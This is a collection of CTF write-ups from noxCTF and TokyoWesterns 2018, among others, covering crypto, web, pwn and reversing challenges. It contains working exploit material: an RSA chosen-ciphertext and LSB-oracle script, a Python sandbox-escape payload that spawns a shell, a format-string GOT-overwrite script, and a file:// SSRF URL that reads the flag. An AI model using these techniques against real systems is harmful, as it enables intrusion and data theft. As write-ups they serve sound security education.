Chosen Ciphertext Attack on RSA unpadded encryption. Similar challenge writeup: https://masterpessimistaa.wordpress.com/2018/03/04/pragyan-ctf-rsas-quest/ Full exploit script for this challenge: ```python from pwn import *from Crypto.Util.number import *
r = remote("chal.noxale.com","4242")r.recvline().strip()
N = 140165355674296399459239442258630641339281917770736077969396713192714338090714726890918178888723629353043167144351074222216025145349467583141291274172356560132771690830020353668100494447956043734613525952945037667879068512918232837185005693504551982611886445611514773529698595162274883360353962852882911457919e = 65537c = 86445915530920147553767348020686132564453377048106098831426077547738998373682256014690928256854752252580894971618956714013602556152722531577337080534714463052378206442086672725486411296963581166836329721403101091377505869510101752378162287172126836920825099014089297075416142603776647872962582390687281063434
chosen_ct = (c * pow(2, e, N)) % Nr.sendline(hex(chosen_ct)[2:].replace("L",""))
_pt = int(r.recvline().strip(), 16)print long_to_bytes(_pt/2)```
Running this script gives us the flag: **noxCTF{0u7sm4r73d}** |
# SimpleAuth
In this challange we were first displayed with the following url: ```simpleauth.chal.ctf.westerns.tokyo```
After browsing to the above url we are given the following php code:```php``` * if our query string is not empty then the we enter the block, our query string is parsed and set to the variable ```$res``` * if the ```'key'``` action exists within our query string and it isn't empty then the ```$action``` variable is set to the value associated with ```'key'```* Now we approach the second but larger if statment. Here the program checks if our previously set ```$action``` variable is equal to ```'auth'``` meaning to enter this block we need our url to look something like this: ```simpleauth.chal.ctf.westerns.tokyo/?action=auth``` * assuming we enter this block we have four checks: 1. ```$res['user']``` isn't empty, if it isn't then ```$user``` is set to its value 2. ```$res['pass']``` isn't empty, if it isn't then ```$pass``` is set to its value 3. ```$user``` and ```$password``` are not empty, if they aren't then ```$hashed_password``` is set to the md5 of the concatenated ```$user``` and ```$pass``` variables 4. the final check is to see that ```$hashed_password``` is set and equal to the following md5 value ```c019f6e5cd8aa0bbbcc6e994a54c757e```, **if the forth check passes we get the flag**
## Vulnerable FunctionsNow that we understand the flow of the program let's look at some standout functions & operations to see if any have known security warnings,scanning the code from top to bottom we can create the following table:
|Function Name | Documentation Page | Security Warning|--------------|--------------------|-----------------|```empty```|http://php.net/manual/en/function.empty.php|no|```parse_str```|http://php.net/manual/en/function.parse-str.php|yes|```md5```|http://php.net/manual/en/function.md5.php|yes
Great now we have some leades:## ```md5```md5 has the following warning: ```It is not recommended to use this function to secure passwords, due to the fast nature of this hashing algorithm...```this however is well known and considering that this isn't a crypto challenge we probably are not needed to attempt to bruteforce this hash...
## ```parse_str```On the ```parse_str``` page we see the following warning in red
Warning Using this function without the result parameter is highly DISCOURAGED and DEPRECATED as of PHP 7.2.
Dynamically setting variables in function's scope suffers from exactly same problems as register_globals.
Read section on security of Using Register Globals explaining why it is dangerous.
Interesting! What is the "result parameter"? We see that ```parse_str``` is defined as so:
```void parse_str ( string $encoded_string [, array &$result ] )```
We can see that the ```&$result``` parameter (mentiononed in the warning) is optional we know that the warning applies to the use of ```parse_str``` without said result parameter. Looking back at the given code we see that it uses ```parse_str``` with only 1 parameter so it is indeed vulnerable to the vulnerability described in the warning above!
This means that if our url looks like this:```simpleauth.chal.ctf.westerns.tokyo/?action=auth&one=1```then we will be defining a variable ```$one``` and its value will be ```1```. Awesome!
Looking back at the interesting part of the code:```php...if ($action === 'auth') { ... if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') { echo $flag; } ...}```We can see that the only interesting checks are ```$action === 'auth'``` and ```!empty($hashed_password) && ...``` and we know that we can set ```$hashed_password``` arbitrarily using our query string
## Developing The ExploitNow with the use of the vulnerable ```parse_str``` and knowing the flow we need to take to print our flag. We can simply browse to the following url:
```http://ssimpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e```
which results in the flag:
```TWCTF{d0_n0t_use_parse_str_without_result_param}``` |
## Solution
### Quick Explanation
We exploit the pseudo random number generator used, which is the __Mersenne Twister__. We are then able to predict the next key used and get the flag.
### Full Solution
I have omitted the parts of `server.py` that are not really necessary.
```pythonimport random
class ThreadedServer(object): def getKey(self, r): return str(r.getrandbits(32)).rjust(16, '0')
def listenToClient(self, client, address): client_flag = self.flag r = random.Random() key = self.getKey(r) client_flag = self.encrypt(key, client_flag) while True: try: client.send('Please insert the decryption key:\n') key_guess = client.recv(16) if key_guess == key: client.send('Correct! Your flag is: ' + self.decrypt(key, client_flag) + '\n') else: client.send('Wrong! The key was: ' + key + '\n') client_flag = self.decrypt(key, client_flag) key = self.getKey(r) client_flag = self.encrypt(key, client_flag)```
We get two insights:
1. A single instance of `random.Random()` is used per connection2. Bits generated are eventually leaked to us
The [documentation](https://docs.python.org/2/library/random.html) of python's `random` module states:
> Python uses the Mersenne Twister as the core generator... However, being completely deterministic, it is not suitable for all purposes, and is completely unsuitable for cryptographic purposes.
We use eboda's [MTRecover](https://github.com/eboda/mersenne-twister-recover/blob/master/MTRecover.py) to do this, and we get the flag.
```Correct! Your flag is: noxCTF{41w4ys_us3_cryp70_s3cur3d_PRNGs}```
__For implementation see the link__ |
# Challenge Name : Reference
>What is your reference again?>>http://chal.noxale.com:5000>
When we visit the address, We get this nice "welcoming" page.
Digging through the HTML Document we find a script tag linking `/js/index.js`
Upon primitive inspection it's an ajax function which returns success and possibly flag or failure based on request to url `/check_from_google`.
Inferring from the challenge title and from the url name `/check_from_google` we have to set the [HTTP Referer](https://en.wikipedia.org/wiki/HTTP_referer) field in request header to url `/check_from_google`.
Fire up burp suite, capture the request and add a referer field with `www.google.com` as the value.
We get a base64 string as response. Decoding it, gives us the flag.
The flag is : `noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}` |
# noxCTF 2018 : Smooth-snake
**category** : forensics
**points** : 804
**solves** : 21
## write-up
This challenges has many small challenges...
First we got a pcap
I use wireshark to open it and sort it by protocol
Look at the DNS request and HTTP request to know what they are doing
There are many unrelevant sites like youtube...
I find `flag.html` and it said `I Have The Flag, but only the snake know how to get it. Try to find the snake pic`
So I download `snake.jpg` from pcap
Use `binwalk` to check `snake.jpg` and find some base64 text at the end of jpg file
extract and decode the base64 text will get `file.py`
And guessing LEET = 1337 will get me a string `my server's port moved to p+y+t+h+o+n`
So I guess it means there is a server open at port `sum(map(ord, 'python')) == 674`
And the ip is the destination ip of the packet that get me `snake.jpg`
`nc 18.223.150.0 674` give me a python sandbox challenge...
```._'\:importossysopenevalexeccompilebytestypefrozensetvarschrlocalsiftryexcept```
All of the above are forbidden words
Without `.` to call method, we can use `getattr` instead
Without `__import__`, we can use `catch_warnings` in `{}.__class__.__base__.__subclasses__()`
`{}.__class__.__base__.__subclasses__()[[i.__name__ == "catch_warnings" for i in {}.__class__.__base__.__subclasses__()].index(True)]` this will give me `catch_warnings`
`{}.__class__.__base__.__subclasses__()[[i.__name__ == "catch_warnings" for i in {}.__class__.__base__.__subclasses__()].index(True)]()._module.__builtins__["__import__"]("os").system("sh")` this will give me shell
Then we just need to change `.` to `getattr`, and `_` to `dir(0)[0][0]`
Final payload : `getattr(getattr(getattr(getattr(getattr(getattr((), dir(0)[0][0]*2+"class"+dir(0)[0][0]*2), dir(0)[0][0]*2+"base"+dir(0)[0][0]*2), dir(0)[0][0]*2+"subcl"+"asses"+dir(0)[0][0]*2)()[getattr([getattr(i, dir(0)[0][0]*2+"name"+dir(0)[0][0]*2) == "catch"+dir(0)[0][0]+"warnings" for i in getattr(getattr(getattr((), dir(0)[0][0]*2+"class"+dir(0)[0][0]*2), dir(0)[0][0]*2+"base"+dir(0)[0][0]*2), dir(0)[0][0]*2+"subcl"+"asses"+dir(0)[0][0]*2)()], "index")(True)](), dir(0)[0][0]+"module"), dir(0)[0][0]*2+"builtins"+dir(0)[0][0]*2)[dir(0)[0][0]*2+"imp"+"ort"+dir(0)[0][0]*2]("o"+"s"), "sy"+"stem")("sh")`
`noxCTF{v3n0m_pyc4p}`
# other write-ups and resources
|
```from pwn import *elf = ELF('./TheNameCalculator')p = remote("chal.noxale.com", 5678)fflush = 0x0804a014buff=0x6A4B825#supersecretfunc = 0x80485c0payload = p32(fflush) + p32(fflush + 2) + "AAAAAAAAAAAAAAAAAAAA" * 20 + p32(buff)p.send(payload)p.recvline()p1 = "%{}c%27$hn".format(0x85c0 - 0x804)p2 = "%{}c%28$hn".format(0x804)exploit = p2 + p1i = 0while i < len(exploit)-4: k = exploit[i:i+4] k += "\x00"*(4 - len(k)) k = u32(k) c = k ^ 0x5f7b4153 c = p32(c) exploit = exploit[0:i] + c + exploit[i+4:] i += 1p.send(exploit)p.interactive()```
Greets to Segflow |
# noxCTF 2018 : Guess-The-String
**category** : reverse
**points** : 438
**solves** : 76
## write-up
Just be patient and read the assembly like me XD
Or maybe you can try pintools to solve it, but it is not practical
It has many checks
After failing the beginning check, the rest of instruction will not be execute
We can use pintools to brute force the character and count the insturctions, since there is only 11 characters
But some check needs multiple characters to be right at the same time to pass the check, it's not practical to solve it by pintools
`noxCTF{A5semb1y_Is_Grea7}`
# other write-ups and resources
|
# Mixed cipher (crypto, 233p, 39 solved)
In the challenge we get the [server source code](mixed_server.py)The server gives us 4 options to choose from:
1. `encrypt` simply encrypts data we provide with AES-CBC (with random IV each time) and with RSA and we get back the ciphertexts.2. `decrypt` performs RSA-decryption of the payload, and returns only the last byte of the result to us.3. `get encrypted flag` returns AES-CBC encrypted flag to us, but with IV removed.4. `get encrypted key` returns RSA encrypted AES key.
So in order to get the flag we need:- Get the AES encrypted flag from the server- Recover the missing IV for the flag- Get encrypted AES key and RSA-decrypt it- Use AES to decrypt the flag
## Recovering AES key by breaking RSA via LSB-oracle
Let's start with recovering AES key from the server.We can grab RSA-encrypted version from the server right away.The setup here is pretty straightforward - the server can decrypt the payload we provide, and return last byte of the plaintext.In reality we only need the last bit to apply the RSA Least-Significant-Bit-Oracle attack, we described multiple times already in previous writeups.In short, we can multiply the plaintext many times by `2` (by multiplying ciphertext by `pow(2,e,n)`) and check if the value overflows the modulus (in such case last bit is `1`), and use binary search to calculate upper and lower bounds for the plaintext. We have a ready solution in crypto-commons for this.
In order to run this, we need to be able to multiply the plaintext by 2, and this means we need to know the value `n`.Theoretically we could simply ask the server to give us encrypted value of `2` and then multiply ciphertext with this, but without applying `mod n` to the result, the final value will be bigger than `n`, and the server refused to decrypt such value.
So we need to recover `n` first.
### Recovering RSA modulus
If we ask the server for encrypted value of `2` we get back a number `c1` such that `c1 = 2^e mod n`.This means that `2^e - c1 = k1*n` for some value `k1`.We can get another value `c2` from the server, this time for example for `3`, and this way we can get `3^e - c2 = k2*n` for some other `k2`.
Now if we calculate GCD of those 2 numbers we will most likely get back `n`, maybe multiplied by some small factor.We can provide more inputs and calculate gcd on more values, or we can try to factor the result, to get rid of small factors.Either way we get back `n`.We can also verify that `e` on the server is equal to `65537`, because we can encrypt `2` via the server, and calculate `pow(2,e,n)` locally.
```pythondef recover_n(s): send(s, '1') print(receive_until_match(s, "input plain text: ")) send(s, '\2') r = receive_until_match(s, "4: get encrypted key\n") print(r) pow2e = int(re.findall('RSA: (.*)\n', r)[0], 16) send(s, '1') print(receive_until_match(s, "input plain text: ")) send(s, '\3') r = receive_until_match(s, "4: get encrypted key\n") print(r) pow3e = int(re.findall('RSA: (.*)\n', r)[0], 16) n = gmpy2.gcd(2 ** 65537 - pow2e, 3 ** 65537 - pow3e) n = factor(n)[1] assert pow(2, 65537, n) == pow2e return n```
### Size optimization
A small tweak we can apply here is to notice that the AES key is only 128 bits long, and no padding is added.Modulus is 1024 bits long, and therefore first 895 multiplications by 2 can't possibly cause the plaintext value to overflow `n`.So we can actually start from this point, instead from 0.
### LSB Oracle
```pythonfrom crypto_commons.oracle.lsb_oracle import lsb_oracle_from_bits
def recover_aes_key(n, s): send(s, '4') r = receive_until_match(s, "here is encrypted key :\)\n.+\n") encrypted_aes_key = re.findall("here is encrypted key :\)\n(.*)\n", r)[0] print('aes key', encrypted_aes_key) decrypted_aes_key = lsb_oracle(int(encrypted_aes_key, 16), lambda ct: ct * pow(2, 65537, n) % n, n, lambda ct: oracle(s, ct)) return long_to_bytes(int(decrypted_aes_key))
def oracle(s, ct): send(s, '2') print(receive_until_match(s, 'input hexencoded cipher text: ')) payload = long_to_bytes(ct).encode("hex") print("Sending payload", payload) send(s, payload) r = receive_until_match(s, 'RSA: .*\n') receive_until_match(s, '4: get encrypted key\n') bit = int(re.findall('RSA: (.*)\n', r)[0], 16) & 1 return bit
def lsb_oracle(encrypted_data, multiplicator, upper_bound, oracle_fun): def bits_provider(): ciphertext = encrypted_data for i in range(895): # 1024 - 128 = 896 ciphertext = multiplicator(ciphertext) yield 0 while True: ciphertext = multiplicator(ciphertext) yield oracle_fun(ciphertext)
return lsb_oracle_from_bits(upper_bound, bits_provider())```
## Recovering IV
Now we could decrypt the flag already, but the first block of the flag would be messed-up, because we don't know the proper IV.If we look at the code, how IV is generated during encryption we can see:
```pythondef aes_encrypt(s): iv = long_to_bytes(random.getrandbits(BLOCK_SIZE * 8), 16) aes = AES.new(aeskey, AES.MODE_CBC, iv) return iv + aes.encrypt(pad(s))```
So the IV is random, but it's using python standard MT random generator.This generator has less than 20000 bits of internal state, so if we can get 20000 consecutive bits from the generator, we can replicate the internal state and create a new generator which would yield identical results.
And we can do that, since we can simply encrypt random messages and grab IV server will send back.For final recovery we used the code from https://github.com/eboda/mersenne-twister-recover/blob/master/MTRecover.py
```pythondef get_iv(s): send(s, '1') print(receive_until_match(s, "input plain text: ")) send(s, 'A') r = receive_until_match(s, "4: get encrypted key\n") print(r) aes_iv = re.findall('AES: (.*)\n', r)[0][:32].decode("hex") return aes_iv
def collect_outputs(s): out = [] for i in range(160): aes_iv = get_iv(s) out.extend(map(bytes_to_long, chunk(aes_iv, 4))[::-1]) return out
def recover_next_iv(s): outputs = collect_outputs(s) mtr = MT19937Recover() r2 = mtr.go(outputs) iv = long_to_bytes(r2.getrandbits(16 * 8)) sanity = get_iv(s) assert sanity == iv return long_to_bytes(r2.getrandbits(16 * 8)).encode("hex")```
Keep in mind that the recovery script we use expects to get at least 624 32-bit values from the generator.We get them from server as a single 128 bit block, but this means the order is shifted!This is why we need to do:
```chunk(aes_iv, 4))[::-1]```
So we split the IV into 4-byte blocks, invert the order, and then convert those 4-byte blocks into 32-bit values.
## Get flag
Now we can predict the next IV value, so we can grab encrypted flag from the server, attach the predicted IV, and decrypt it.Once we do that we get back: `TWCTF{L#B_de#r#pti#n_ora#le_c9630b129769330c9498858830f306d9}`
Full recovery script [here](mixed.py) |
After the CTF I found out about the scanf("%s") buffer overflow that would have made this challenge challenge so much easier. Nonetheless this solution still works. |
Looking at the diff, we see that ":", "g" and "Q" keys do not work. We can still use [ctrl-w]+[f] to go to a file with the name under cursor. The only problem is that ctrl-w is captured by the browser and causes the tab to close. So I used burp suite to modify the input and read the file /flag:
TWCTF{the_man_with_the_vim} |
# noxCTF 2018 : hiddenDOM
**category** : web
**points** : 670
**solves** : 37
## write-up
Server will get the `target` url for us
And use regex `expression` to grep the lines
This will work `http://chal.noxale.com:5588/index.php?target=file:///var/www/html/flag.txt&expression=/.*/`
`noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}`
# other write-ups and resources
|
# noxCTF 2018 : Reference
**category** : web
**points** : 100
**solves** : 301
## write-up
It make a request to `http://chal.noxale.com:5000/check_from_google`
So I guess it check whether the referer is `google.com`
Set the referer field in the http header will do it
`noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}`
# other write-ups and resources
|
# noxCTF 2018 : Decryptor
**category** : crypto
**points** : 447
**solves** : 74
## write-up
Classic RSA Chosen Cipher Attack
`noxCTF{0u7sm4r73d}`
# other write-ups and resources
|
# TokyoWestrens CTF 2018 : dec_dec_dec 99
**Category:** Reversing**Points:** 99**Solves:** 159
# Write-upSo we got a binary named dec_dec_dec. A simple ```file``` command indicates it is a x86_64 ELF shared object.
When attempting to run it, it outputs the followings:```bash./dec_dec_dec ./dec_dec_dec flag_string_is_here ```
Ok, so the binary expects to get the flag as its ```argv[1]```.
running the binary with an argument prints to stdout a failure string.
Trying to ltrace the binary, we saw that the command is not very helpful because it is does not trace any of the library calls:
```bashltrace ./dec_dec_dec abcdincorrect :(+++ exited (status 0) +++```
A second look on the binary, indicates it was compiled as full-RELRO and with a BIND-NOW linker attribute. that means it has no plt entries (actually just one for the resolver function). ltrace's main tracing technique is to install breakpoints on plt entries in order to trace dynamic object library calls. therfore running it on our binary seems to fail.
We opened the binary in IDA pro and see a main function that gets our ```argv[1]``` string, and calls 3 other functions.
* the binary passes the string to it's first function* it then takes the result of the first function with our string as input and passes that to the second function* it takes the output of the second function with the output of the first function as its input and passes that to the third function
or in other words:```function3(function2(function1(str)))```
finally the binary compares the result of the third function to the hardcoded string: ```'@25-Q44E233=,>E-M34=,,\$LS5VEQ45)M2S-),7-$/3T ' ``` (using strcmp)
Before reversing each function, we wanted to get an idea of how the output of the function behaves as a result to the input we insert. We patched the failure string argument to puts to be our inserted string, after it was manipulated by the 3 functions.
Because we know the prefix of each flag is TWCTF{, we inserted this string and saw the prefix of the manipulated string is the same as the prefix of the hardcoded string. Moreover, we saw that the number of the characters matching to the hardcoded string's prefix, coralltes to the number of the right characters in the input string.
```bash./patched_dec TW$25-P/0 ./patched_dec TWCT(25-Q44E./3T ./patched_dec TWCTF{(25-Q44E233< ```
Although we knew brute-forcing a long string with our premetives will not converge, we wrote a simple python script that brute-forces the flag according to the final output of our patched binary. We ran the script and started to reverse the functions.
We decided to start with the second function, as it was the easiest one to reverse. a couple minutes of looking on the code and trying to understand it, indicates it uses a ceasar cipher on its input string.In this phase we understood that the name of the binary possibly indicated that the flag is the name of the 3 functions we have in the name, and each function is a cipher/encoding function.
In the meantime, our brute-forcing script started to converge towards a string beginning with "ba". as we looked on the first function, we saw it outputs a strings that end with "=". combining it with the fact that the script started to converge to "ba" and a deeper look to the first func's code, we understood the code was a base64 encoding. We verified our assumption by running it against the patched binary and it was right.
As we said earlier, the second func is ceaser ciphear, or in other words - rot 13. trying it on the patch binary showed it was true.So in this phase we know that the flag is TWCTF{base64_rot13*}.
We started to reverse the third function, all while keeping in mind it should have a cipher/encoding functionallity.As reversing the code, we could not think of any known functions that match the behaviour of the third and final function.We decided to patch the binary again, this time to make it take our input, pass it straight to the third func, and write to stdin the result. The patch was very similar to the first patch.We tried varius inputs to try and see the behavior of the function. Finally, we found out the function was a unix encoding technique called uu - Unix to Unix Encoding.
```bash./dec_dec_dec TWCTF{base64_rot13_uu}correct :)``` |
## Solution
Based on the variable names, we can infer that this is probably __RSA__. However, the numbers are either encoded or encrypted in some way.
A quick way to gain insight on what kind of encoding this might be is by looking at the unique characters that we are dealing with.
```pythonalphabet = set(N + e + c)print(len(alphabet))>>> 10print(''.join(alphabet))>>> AblgBZSETO```
Since the number of unique characters used is `10` then this probably means that there is just some mapping between the characters `0123456789` and `AblgBZSETO`.
One of the first mappings I tried just in sorted order```pythonprint(''.join(sorted(alphabet)))>>> ABEOSTZbgl # -> 0123456789```
But this did not work. A key insight that you need to get is that some of the characters look similar actual numbers, like `B to 8` and `O to 0`. If we base the mapping based on how much they look alike we get the following mappings
```0 -> O1 -> l2 -> Z3 -> E4 -> A5 -> S6 -> b7 -> T8 -> B9 -> g```
And based on that we can get the actual values for `N`, `e`, and `c`.
We start with a standard attack on `RSA` with [`RsaCtfTool.py`](https://github.com/Ganapati/RsaCtfTool) to get the flag.
`noxCTF{RSA_1337_10rd}`
__For the implementation see the link__ |
## General problem definition
```You stumbled upon someone's "JS Safe" on the web. It's a simple HTML file that can store secrets in the browser's localStorage. This means that you won't be able to extract any secret from it (the secrets are on the computer of the owner), but it looks like it was hand-crafted to work only with the password of the owner...```
The assignment was a Javascript file, which needs the Flag as input.
## Getting to the flag-check
The function x is a oneliner, which does a few nasty things. There are some anti-debugging measures, for example a very long loop, that calls the debugger every iteration. Another overwrites the toString method of the object source, which would loop endlessly if printed.
Removing these codeparts causes the whole program to break, because the function hashes itself at position `x = h(str(x));`. This use of `x` does not use the parameter of the function, as one is the ASCII x and the other une is a Unicode cyrillic `x`.
In the function there are 2 subfunctions defined. The first one `c` xors a string with a second one(repeating if it is too small) and the second function `h` does a simple hash function over a string.`source = /Ӈ#7ùª9¨M¤À.áÔ¥6¦¨¹.ÿÓÂ.Ö£JºÓ¹WþÊmãÖÚG¤
¢dÈ9&òªћ#³1᧨/;` is an interesting line, as it creates a regex object.In the end `return eval('eval(c(source,x))')` is executed and should return true if the flag was entered correctly. Notice, that the input `х` was never used only the function `x`.
Now we looked at the nested eval statement. To find out what it results in, we reimplemented the whole function in python and evaluated `c(source,x)` there:```pythonimport stringa = 1000b = 0byteord = lambda b: bytes([b])def hash(unicodestr): global a global b for char in unicodestr: a = (a + ord(char)) % 65521 b = (b + a) % 65521
print("end a:", a) print("end b:", b) return b.to_bytes(2, 'big') + a.to_bytes(2, 'big')
def crypt(enc, key): """ enc: encrypted (unicode) key: key (bytes) """ c = ""
for i in range(len(enc)): c += chr(ord(enc[i]) ^ key[i % len(key)])
return ccode = "function x(х){...}"enc_code = "Ӈ#7ùª9¨M¤À.áÔ¥6¦¨¹.ÿÓÂ.Ö£JºÓ¹WþÊmãÖÚG¤
¢dÈ9&òªћ#³1᧨"
hashed_code = hash(code)crypt_code = crypt(enc_code, hashed_code)
print(list(hashed_code))print(crypt_code)```As a result we get the string: `х==c('¢×&Ê´cʯ¬$¶³´}ÍÈ´T©Ð8ͳÍ|Ô÷aÈÐÝ&þJ',h(х))//᧢`. Finally the parameter `x`(our flag) is used.
## Getting the Hash
The string `х==c('¢×&Ê´cʯ¬$¶³´}ÍÈ´T©Ð8ͳÍ|Ô÷aÈÐÝ&þJ',h(х))//᧢` is again evaluated. Now we just need to find an input were this condition is true. Looking down where the input to the function is checked we can see, that the regex `/^CTF{([0-9a-zA-Z_@!?-]+)}$/` is used to check the flag, so we know that only digits, lowercase- and uppercase characters and `_@!?-` can be part of the flag. Now we can check for every possible byte in the 4 byte hash if every byte xored with every 4th byte in the `'¢×&Ê´cʯ¬$¶³´}ÍÈ´T©Ð8ͳÍ|Ô÷aÈÐÝ&þJ'`-string is in our possible charset. This reduces the possible hashes that are possible.
```python# crypt_code is "х==c('¢×&Ê´cʯ¬$¶³´}ÍÈ´T©Ð8ͳÍ|Ô÷aÈÐÝ&þJ',h(х))//᧢"the_string = crypt_code[6:-10]possibleset = string.ascii_letters + string.digits + "_@!?-"
for hashind in range(4): print("-----------------") for p in possibleset: testsol = ord(the_string[hashind]) ^ ord(p) for j in range(hashind + 4, len(the_string), 4): if chr(testsol ^ ord(the_string[j])) not in possibleset: break else: print(testsol)```As a result we get```-----------------253-----------------149153-----------------21-----------------249```as the output. That means there are only 2 possible hashes : `[253, 149, 21, 249]` and `[253, 153, 21, 249]`. Now we can just use the crypt function with the hashes and the `'¢×&Ê´cʯ¬$¶³´}ÍÈ´T©Ð8ͳÍ|Ô÷aÈÐÝ&þJ'` string and we get our possible flags:```pythonprint(">" + crypt(crypt_code[6:-10], [253, 149, 21, 249]))#>_B3x7!v3R91ON!h45!AnTE-4NXi-abt1-H3bUk_print(">" + crypt(crypt_code[6:-10], [253, 153, 21, 249]))#>_N3x7-v3R51ON-h45-AnTI-4NTi-ant1-D3bUg_
```Only the second of the two actually looks readable, so the flag is `CTF{_N3x7-v3R51ON-h45-AnTI-4NTi-ant1-D3bUg_}`
|
# noxCTF 2018 : Python-for-fun
**category** : misc
**points** : 292
**solves** : 116
## write-up
This will work `a, b, c = __import__('os').system('cat FLAG')`
`noxCTF{py7h0n_15_4w350m3}`
# other write-ups and resources
|
1. `buffer overflow` to `format string bug` is easy2. Now we're able to trigger format string bug once using 27 bytes charecters at most.3. It's obvious that if we hijack exit@got to superSecretFunc, we will get flag.
So the task can be completed with the following steps:- bof to fsb
~~- hijack exit@got to superSecretFunc and fix retaddr to call exit.~~
- hijack exit@got to superSecretFunc and the bianry will call exit(0) at the end of main.- the length of payload is less than 27-byte.
Here is my [exp](https://github.com/0x01f/pwn_repo/blob/master/noxCTF2018_The_Name_Calculator/exp.py) |
Author: erfur
Date: Wed Aug 22 23:40:25 +03 2018
# Hackcon 2018 - CryptoRevSalad
We are given a pcap file with lots of noise. After checking out many of the streams in wireshark, I came across two TCP streams that were interesting, first of which is this message:
```From: Hacker Man <[email protected]>Date: Wed, Aug 6, 2018 at 8:55 PMSubject: Re: The CodeTo: Not Hacker Man <[email protected]>
I'll take your struggle as a compliment to my hard wark. Also I fear that you are 'Hacker Man' so it might be above your capabilities to decode the message. PS: Please Find Attached(don't really) the encoding binary.
RegardsNot ! Hacker Man
> From: Not Hacker Man <[email protected]>> Date: Wed, Aug 5, 2018 at 5:55 PM> Subject: The Code> To: Hacker Man <[email protected]>>> Hey, I'm not doing well since your last e-mail. I recieved the encoded super secret code but I'm unable to decode it. Please help me.>> Regards> ! (Hacker Man)
> From: Hacker Man <[email protected]> > Date: Wed, Aug 1, 2018 at 8:55 PM > Subject: Re: The Code > To: Not Hacker Man <[email protected]> > > Hey, how you not !(doin')? > Thanks for asking the encoded super secret message is enclosed in the following hash box. > > ######################################################################################################################## > #`0vo&jm1[`F.^t.RGG..#`2.;c).lvZk{|.~B...[II..D..# > ######################################################################################################################## > > Regards > Not ! Hacker Man
> From: Not Hacker Man <[email protected]> > Date: Wed, Aug 1, 2018 at 5:55 PM > Subject: The Code > To: Hacker Man <[email protected]> > > > Hey, how you doin'? > Can you send super secret codes that we wrote. But I think our mail is not secure enough so don't sent them in paintext. > > Regards > Not Hacker Man```
And the second one is this hexdump (shortened version):
```0000000 4b50 0403 0014 0000 0008 bb4c 4d01 dde10000010 906a 126d 0000 3ad8 0000 0006 0000 6e650000020 6f63 6564 5bed 707d d753 bf95 f0fa 60070000030 996c 4a18 8020 1f08 490b 2451 18db b0930000040 db20 783c 0306 3f8e 2508 3ceb 92cb 2b6c0000050 92c8 3d2b cd81 0286 606b 71a2 f59c 4da40000060 3fea bbb2 204c b49d 36c3 974e 0ca6 829b0000070 338d dd38 b6d9 bb6e b2cd 3a69 32e3 6b4d0000080 6487 29d7 f129 8212 9cf7 eefb de95 7a7b0000090 b0ca 266e 717f f23d e779 cf77 f739 8fdc...0001250 62f1 b2d7 2e64 df6b c3a9 feb9 1d5a d26e0001260 7cd1 eaa2 aabb 779c 7429 6eb1 e9c1 9fd70001270 ed7a cbaa a5fc 1d0a 1d63 e9c6 2228 fba90001280 de1f 46df f3ed e3c0 fe79 1c05 fa2b fff60001290 500f 014b 1402 1400 0000 0800 4c00 01bb00012a0 e14d 6add 6d90 0012 d800 003a 0600 000000012b0 0000 0000 0000 2000 0000 0000 0000 650000012c0 636e 646f 5065 054b 0006 0000 0100 010000012d0 3400 0000 9100 0012 0000 0000 00012db```
After transforming the hexdump back to raw data with [chef](https://gchq.github.io/CyberChef/#recipe=From_Hexdump()Swap_endianness('Raw',2,false)), we get a zip file with an executable called "encode" in it. When executed, the app will as for a message to encode, then print the encoded message. Since we know the encoded message
```00000502 20 20 20 20 20 3e 20 20 20 20 20 20 20 23 60 30 > #`000000512 76 6f 26 6a 6d 31 5b 60 46 0f 5e 74 1e 52 47 47 vo&jm1[`F.^t.RGG00000522 19 1d 23 60 32 0e 3b 63 29 0f 6c 76 5a 6b 7b 7c ..#`2.;c).lvZk{|00000532 14 7e 42 12 04 03 5b 49 49 15 17 44 10 11 23 0d .~B...[II..D..#.```
we just need to reverse the binary and decode this message.
## ./encode
App starts by creating a string:
```"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}[]()_1234567890!@#$%^&*<>?"```
Which will be used as a key for encoding. The input is taken right after.At this point, the length of the input is calculated (rax), then
```0x004012b9 48f7d8 neg rax0x004012bc 83e00f and eax, 0xf```
is executed on the length, after that the result is compared to a counterwhich is incremented every time a character is added to our input. On ahigh level, this is done to make our input's length a multiple of 16.For every character missing, a random character from the key is added toout input, except that the selected character isn't random at all. Sincerand() is used without properly setting a seed value with srand(), srand(1) is used by default, meaning that the following stream will formwith each rand(!)omly selected char from the key:
```xg)JHpAmj3QBY1d```
After forming the string with a length multiple of 16, the 'encode'function is called. In short, for each 16-byte block:
- XOR every 4 bytes (a) - XOR previous four values (b) - XOR the result in b with four results in a (c) - For every 4 bytes, XOR the byte with the corresponding value in c To illustrate:
```(⊕):XOR -------------------------------|0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f| 16-byte block from input ------------------------------- \ | | / \ | | / \ | | / \ | | / ⊕ ⊕ ⊕ ⊕ \ | | / \ | | / \ | | / \ | | / \ | | / \| |/ ⊕ --------------------. | | ------------------------------- ||0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f| 16-byte block from input ------------------------------- | \ | | / \ | | / \ | | / \ | | / | ⊕ ⊕ ⊕ ⊕ | | .---|---.---|---.---|---------| v | v | v | v | ⊕ <' ⊕ <' ⊕ <' ⊕ <------' / | | \ / | | \ / | | \ / | | \ ⊕ ⊕ ⊕ ⊕ ⊕ ⊕ ⊕ ⊕ ⊕ ⊕ ⊕ ⊕ ⊕ ⊕ ⊕ ⊕ -------------------------------|0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f| 16-byte block from input ------------------------------- | | | | | | | | | | | | | | | | -------------------------------|0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f| encoded string -------------------------------```
In the end, every byte will be XORed with the rest of the 4-byte blocksin its respective 16-byte block. So, to get any character, we only needto XOR the rest of its block and XOR the result with it. The following code decodes the string and prints the flag:
```pythona = "`0vo&jm1[`F\x0f^t\x1eRGG\x19\x1d#`2\x0e;c)\x0flvZk{|\x14~B\x12\x04\x03[II\x15\x17D\x10\x11"
